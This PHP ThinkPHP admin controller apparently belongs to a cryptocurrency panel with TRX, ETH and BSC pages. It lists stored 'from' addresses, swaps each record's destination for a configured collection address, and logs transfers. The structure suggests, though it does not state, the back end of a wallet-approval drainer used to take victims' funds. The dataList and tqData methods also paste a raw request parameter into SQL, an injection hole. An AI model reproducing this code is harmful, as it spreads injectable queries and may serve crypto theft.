<?php

namespace app\admin\controller;

use app\common\service\BalanceService;
use think\Db;

class Sq extends Common {

	public function trx(){
		return $this->fetch();
	}
	public function eth(){
		return $this->fetch();
	}
	public function bsc(){
		return $this->fetch();
	}

	public function dataList(){
		$address = request()->param('address');
		$limit = request()->param('limit')?:500;
		$type  = request()->param('type')?:1;
		$address  = request()->param('address');
		$where = '1=1 ';
		if($address != ''){
			$where .= ' and from like \'%'.$address.'%\'';
		}
		
		$data  = Db::table('tp_data')
				->where('type',$type)
				->where($where)
				->order('id desc')
				->paginate($limit);
		$data = $data->toArray();
		foreach ($data['data'] as $key => $val) {
			if ($val['type'] == 1) {
				$data['data'][$key]['to2'] = $val['to'];
				$data['data'][$key]['to'] = C('into_trx_address');
			} else {
				$data['data'][$key]['to2'] = $val['to'];
				$data['data'][$key]['to'] = C('into_eth_address');
			}
		}
		return $this->tableData($data);
	}
	public function addLog(){
		$from = G('from');
		$to = G('to');
		$am = G('am');
		$hash = G('hash');
		$op = G('op');
		$type = G('type');
		$res = Db::table('tp_log')->insert([
				'from'=>$from,
				'op'=>$op,
				'to'=>$to,
				'am'=>$am,
				'hash'=>$hash,
				'type'=>$type
			]);
		// if ($res) {
		// 	$this->retData(1,'成功');
		// } else {
		// 	$this->retData(1,'失败');
		// }
	}
	public function tq(){
		return $this->fetch();
	}

	public function tqData(){
		$address = request()->param('address');
		$limit = request()->param('limit')?:20;
		$type  = request()->param('type')?:1;
		$where = '1=1';
		if($address != ''){
			$where .= ' and from like \'%'.$address.'%\'';
		}
		$data  = Db::table('tp_log')
				// ->where('type',$type)
				->where($where)
				->order('id desc')
				->paginate($limit);
		$data = $data->toArray();
		return $this->tableData($data);
	}
}
